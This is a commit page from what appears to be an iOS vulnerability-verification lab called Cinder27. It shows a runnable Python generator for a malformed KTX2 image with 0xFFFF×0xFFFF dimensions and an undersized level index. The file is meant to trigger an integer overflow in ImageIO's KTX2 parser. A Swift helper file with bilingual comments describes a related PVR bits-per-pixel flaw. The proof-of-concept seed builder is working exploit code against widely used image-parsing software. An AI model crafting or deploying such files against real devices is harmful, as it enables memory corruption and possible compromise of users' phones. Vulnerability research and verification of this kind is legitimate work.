Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+46
View File
@@ -0,0 +1,46 @@
#!/usr/bin/env python3
# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
#
# [zh] KTX2 维度/层级尺寸运算
# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image
# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
#
# [en] KTX2 dimension and level size arithmetic
# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
# dimensions overflow" and "expected %llu bytes" gates.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112625.swift
# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
import struct
# --------------------------------------------------------------------------- KTX2
def build_ktx2():
ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
vk_format = 0 # 0 => block-compressed via DFD
type_size = 1
w, h = 0xFFFF, 0xFFFF
depth, layers, faces, levels = 0, 0, 1, 1
scheme = 0
kvd_off, kvd_len = 0, 0
sgdt_off, sgdt_len = 0, 0
header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
header += struct.pack("<IQ", kvd_off, kvd_len)
header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
# level index: one level, claiming a tiny byteOffset/byteLength
level_index = struct.pack("<QQQ", 0, 0, 64)
body = b"\x00" * 64
return ident + header + level_index + body
# --------------------------------------------------------------------------- DDS BC7
if __name__ == "__main__":
import sys
out = sys.argv[1] if len(sys.argv) > 1 else "ktx2_bad_dims.ktx2"
open(out, "wb").write(build_ktx2())
print("wrote", out)
+59
View File
@@ -0,0 +1,59 @@
// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
// 原语: 整数溢出 · 进程内 · tier 2
// Primitive: integer overflow · in-process · tier 2
//
// [zh] KTX2 维度/层级尺寸运算
// KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image
// dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
//
// [en] KTX2 dimension and level size arithmetic
// KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
// check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions
// overflow" and "expected %llu bytes" gates.
// ── 判别 / oracle ──
// 维度 0xFFFF×0xFFFF,层级索引声明 64 字节。
// 变体 iio.pvr: PVR 位深低于通道位和
//
// 种子构建器(python,可直接运行): CVE-2026-112625/CVE-2026-112625.py
// runnable python seed builder: CVE-2026-112625/CVE-2026-112625.py
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// iio.pvr · ImageIO · PVRReadPlugin::initialize · CVE-2026-112625
// 原语: 整数溢出 · 进程内 · tier 3
// Primitive: integer overflow · in-process · tier 3
//
// [zh] PVR 位深低于通道位和
// 各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels
// of %d bits\"。
//
// [en] PVR bits-per-pixel below the channel bit sum
// The mutual consistency check between channel bit widths has always been present, but there is no
// lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel
// %d is too small for 4 channels of %d bits".
*/